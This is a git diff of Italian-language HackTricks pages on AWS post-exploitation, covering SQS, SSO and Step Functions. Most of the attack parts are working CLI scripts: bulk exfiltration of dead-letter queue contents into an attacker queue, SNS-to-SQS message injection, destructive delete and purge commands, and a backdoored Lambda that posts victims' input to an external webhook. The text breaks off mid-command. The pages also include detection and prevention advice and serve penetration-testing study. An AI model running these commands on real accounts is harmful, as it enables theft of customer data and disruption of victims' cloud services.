3. **Dati storici**: Le DLQ accumulano dati sensibili nel corso di settimane/mesi
|
||||
4. **Sotto il radar**: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
|
||||
5. **Capacità cross-account**: Può exfiltrate verso l'account AWS dell'attaccante se i permessi lo consentono
|
||||
|
||||
## Rilevamento e Prevenzione
|
||||
|
||||
### Rilevamento
|
||||
Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prevenzione
|
||||
1. **Least Privilege**: Restringere i permessi `sqs:StartMessageMoveTask` ai soli ruoli necessari
|
||||
2. **Monitor DLQs**: Configurare allarmi CloudWatch per attività insolite delle DLQs
|
||||
3. **Cross-Account Policies**: Rivedere attentamente le policy delle code SQS che consentono accesso cross-account
|
||||
4. **Encrypt DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
|
||||
5. **Regular Cleanup**: Non lasciare che i dati sensibili si accumulino nelle DLQs indefinitamente
|
||||
@@ -1,73 +0,0 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impatto Potenziale**: Sfruttamento delle vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Un attaccante potrebbe ricevere, eliminare o modificare la visibilità dei messaggi in una coda SQS, causando perdita di messaggi, corruzione dei dati o interruzione del servizio per le applicazioni che dipendono da quei messaggi.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Impatto Potenziale**: Rubare informazioni sensibili, perdita di messaggi, corruzione dei dati e interruzione del servizio per le applicazioni che dipendono dai messaggi interessati.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Un attaccante potrebbe eliminare un'intera coda SQS, causando perdita di messaggi e influenzando le applicazioni che dipendono dalla coda.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano la coda eliminata.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, portando a perdita di messaggi e potenziale interruzione delle applicazioni che si basano su quei messaggi.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che dipendono dai messaggi eliminati.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Un attaccante potrebbe modificare gli attributi di una coda SQS, potenzialmente influenzando le sue prestazioni, sicurezza o disponibilità.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Impatto Potenziale**: Configurazioni errate che portano a prestazioni degradate, problemi di sicurezza o disponibilità ridotta.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SQS, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate sui tag.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Un attaccante potrebbe revocare i permessi per utenti o servizi legittimi rimuovendo le politiche associate alla coda SQS. Questo potrebbe portare a interruzioni nel normale funzionamento delle applicazioni che dipendono dalla coda.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sulla coda a causa della rimozione non autorizzata delle autorizzazioni.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,83 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Un attaccante potrebbe inviare messaggi maligni o indesiderati alla coda SQS, potenzialmente causando corruzione dei dati, innescando azioni non intenzionali o esaurendo le risorse.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impatto potenziale**: Sfruttamento di vulnerabilità, corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Un attacker potrebbe ricevere, cancellare o modificare la visibilità dei messaggi in una coda SQS, causando perdita di messaggi, corruzione dei dati o interruzione del servizio per le applicazioni che dipendono da tali messaggi.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Impatto potenziale**: Furto di informazioni sensibili, perdita di messaggi, corruzione dei dati e interruzione del servizio per le applicazioni che si basano sui messaggi interessati.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Un attacker potrebbe eliminare un'intera SQS queue, causando la perdita di messaggi e compromettendo le applicazioni che dipendono dalla queue.
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano la coda eliminata.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, causando la perdita dei messaggi e potenziali interruzioni per le applicazioni che si basano su quei messaggi.
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che si basano sui messaggi eliminati.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Un attacker potrebbe modificare gli attributi di una coda SQS, influenzandone potenzialmente le prestazioni, la sicurezza o la disponibilità.
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Impatto potenziale**: Errate configurazioni che portano a prestazioni degradate, problemi di sicurezza o ridotta disponibilità.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
An attacker potrebbe aggiungere, modificare o rimuovere tag dalle risorse SQS, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Impatto potenziale**: Interruzione dell'allocazione dei costi, del monitoraggio delle risorse e delle policy di controllo accessi basate sui tag.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Un attaccante potrebbe revocare i permessi a utenti o servizi legittimi rimuovendo le policy associate alla SQS queue. Ciò potrebbe causare interruzioni nel normale funzionamento delle applicazioni che si basano sulla SQS queue.
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Impatto potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sulla coda a causa della rimozione non autorizzata dei permessi.
|
||||
|
||||
### Altre tecniche di post-exploitation per SQS
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,154 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descrizione
|
||||
|
||||
Abusa dei task di spostamento messaggi di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la legittima funzionalità di recupero messaggi di AWS per exfiltrate dati sensibili che si sono accumulati nelle DLQ nel tempo.
|
||||
|
||||
## Cos'è una Dead-Letter Queue (DLQ)?
|
||||
|
||||
Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non possono essere processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono:
|
||||
- Dati sensibili dell'applicazione che non sono stati processati
|
||||
- Dettagli di errore e informazioni di debug
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credenziali, o altri segreti
|
||||
- Dati di transazioni critiche per il business
|
||||
|
||||
Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
|
||||
|
||||
## Scenario d'attacco
|
||||
|
||||
**Esempio reale:**
|
||||
1. **Un'applicazione e-commerce** elabora ordini dei clienti tramite SQS
|
||||
2. **Alcuni ordini falliscono** (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
|
||||
3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **L'attaccante ottiene accesso** a credenziali AWS con permessi su SQS
|
||||
5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
|
||||
6. **Invece di provare ad accedere ai singoli messaggi** (lento e ovvio), l'attaccante usa `StartMessageMoveTask` per trasferire in bulk TUTTI i messaggi nella propria coda
|
||||
7. **L'attaccante estrae** tutti i dati sensibili storici in un'unica operazione
|
||||
|
||||
## Requisiti
|
||||
- La queue sorgente deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy).
|
||||
- Permessi IAM (eseguito come il principal vittima compromesso):
|
||||
- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Sulla queue di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default.
|
||||
- Se SSE-KMS è abilitato: sulla CMK sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impatto
|
||||
**Impatto potenziale**: Exfiltrate sensitive payloads accumulati nelle DLQ (eventi falliti, PII, token, payloads delle applicazioni) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette `SendMessage` dal principal vittima.
|
||||
|
||||
## Come abusare
|
||||
|
||||
- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
|
||||
- Creare o scegliere una queue di destinazione controllata dall'attaccante e ottenere il suo ARN.
|
||||
- Avviare una message move task dalla DLQ vittima verso la queue di destinazione.
|
||||
- Monitorare il progresso o cancellare l'operazione se necessario.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione ordini dei clienti.
|
||||
|
||||
1) **Scopri ed esamina la DLQ della vittima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Crea una destination queue controllata dall'attaccante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Esegui il furto massivo dei messaggi**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Raccogliere i dati sensibili rubati**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Note tra account
|
||||
- La queue di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se usati, KMS grants/permissions).
|
||||
|
||||
## Perché questo attacco è efficace
|
||||
|
||||
1. **Funzionalità AWS legittima**: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
|
||||
2. **Operazione in blocco**: Trasferisce migliaia di messaggi rapidamente invece di un accesso lento e individuale
|
||||
3. **Dati storici**: Le DLQ accumulano dati sensibili per settimane/mesi
|
||||
4. **Sotto il radar**: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
|
||||
5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo permettono
|
||||
|
||||
## Rilevamento e prevenzione
|
||||
|
||||
### Rilevamento
|
||||
Monitorare CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prevenzione
|
||||
1. **Principio del minimo privilegio**: Limita le autorizzazioni `sqs:StartMessageMoveTask` ai soli ruoli necessari
|
||||
2. **Monitoraggio DLQs**: Configura allarmi CloudWatch per attività anomale nei DLQs
|
||||
3. **Policy cross-account**: Rivedi attentamente le policy delle code SQS che consentono accesso tra account
|
||||
4. **Crittografia DLQs**: Usa SSE-KMS con policy di chiave ristrette
|
||||
5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino indefinitamente nei DLQs
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,54 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descrizione
|
||||
|
||||
Abusa della resource policy di una SQS queue per permettere a un SNS topic controllato dall'attaccante di pubblicare messaggi in una SQS queue della vittima. Nello stesso account, una SNS subscription a un SNS topic si auto-conferma; in cross-account devi leggere il token SubscriptionConfirmation dalla queue e chiamare ConfirmSubscription. Questo consente l'iniezione di messaggi non richiesti che i consumer downstream potrebbero implicitamente considerare affidabili.
|
||||
|
||||
### Requisiti
|
||||
- Capacità di modificare la resource policy della SQS queue di destinazione: `sqs:SetQueueAttributes` sulla queue della vittima.
|
||||
- Capacità di creare/pubblicare su un SNS topic sotto il controllo dell'attaccante: `sns:CreateTopic`, `sns:Publish`, e `sns:Subscribe` sull'account/topic controllato dall'attaccante.
|
||||
- Solo cross-account: temporaneo `sqs:ReceiveMessage` sulla queue della vittima per leggere il token di conferma e chiamare `sns:ConfirmSubscription`.
|
||||
|
||||
### Sfruttamento nello stesso account
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Note tra account
|
||||
- La queue policy sopra deve consentire il `TOPIC_ARN` esterno (attacker account).
|
||||
- Le subscription non si auto-confermeranno. Concediti temporaneamente `sqs:ReceiveMessage` sulla victim queue per leggere il messaggio `SubscriptionConfirmation` e poi esegui `sns confirm-subscription` con il suo `Token`.
|
||||
|
||||
### Impatto
|
||||
**Impatto potenziale**: Iniezione continua di messaggi non richiesti in una coda SQS di fiducia tramite SNS, potenzialmente attivando elaborazioni non intenzionate, inquinamento dei dati o abuso dei flussi di lavoro.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - SSO e identitystore Post Exploitation
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO e identitystore
|
||||
## SSO & identitystore
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
Queste autorizzazioni possono essere utilizzate per interrompere le autorizzazioni:
|
||||
Queste autorizzazioni possono essere usate per interrompere le autorizzazioni:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,184 +0,0 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Per ulteriori informazioni su questo servizio AWS, controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare il livello di ispezione su TRACE e il parametro revealSecrets su true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente le macchine a stati, le loro versioni e alias. Questo può interrompere flussi di lavoro critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le macchine a stati interessate. Inoltre, consentirebbe a un attaccante di coprire le tracce utilizzate, interrompere le indagini forensi e potenzialmente compromettere le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati.
|
||||
> - Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias.
|
||||
> - Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impatto Potenziale**: Interruzione dei flussi di lavoro critici, perdita di dati e inattività operativa.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un attaccante con questo permesso sarebbe in grado di manipolare la configurazione di fallimento del Map Run e l'impostazione parallela, potendo aumentare o diminuire il numero massimo di esecuzioni di flussi di lavoro secondari consentiti, influenzando direttamente le prestazioni del servizio. Inoltre, un attaccante potrebbe manomettere la percentuale e il conteggio di fallimento tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero map run fallirebbe, influenzando direttamente l'esecuzione della macchina a stati e potenzialmente interrompendo flussi di lavoro critici.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impatto Potenziale**: Degradazione delle prestazioni e interruzione dei flussi di lavoro critici.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Un attaccante con questo permesso potrebbe essere in grado di fermare l'esecuzione di qualsiasi macchina a stati, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, operazioni aziendali bloccate e potenziale corruzione dei dati.
|
||||
|
||||
> [!WARNING]
|
||||
> Questa azione non è supportata da **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impatto Potenziale**: Interruzione dei flussi di lavoro in corso, inattività operativa e potenziale corruzione dei dati.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di Step Functions, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate su tag.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Un attaccante che compromette un utente o un ruolo con i seguenti permessi:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...può condurre un **attacco post-exploitation ad alto impatto e furtivo** combinando il backdooring di Lambda con la manipolazione della logica di Step Function.
|
||||
|
||||
Questo scenario presuppone che la vittima utilizzi **AWS Step Functions per orchestrare flussi di lavoro che elaborano input sensibili**, come credenziali, token o PII.
|
||||
|
||||
Esempio di invocazione della vittima:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Se la Step Function è configurata per invocare un Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**:
|
||||
|
||||
---
|
||||
|
||||
#### Aggiornato la funzione lambda
|
||||
|
||||
L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
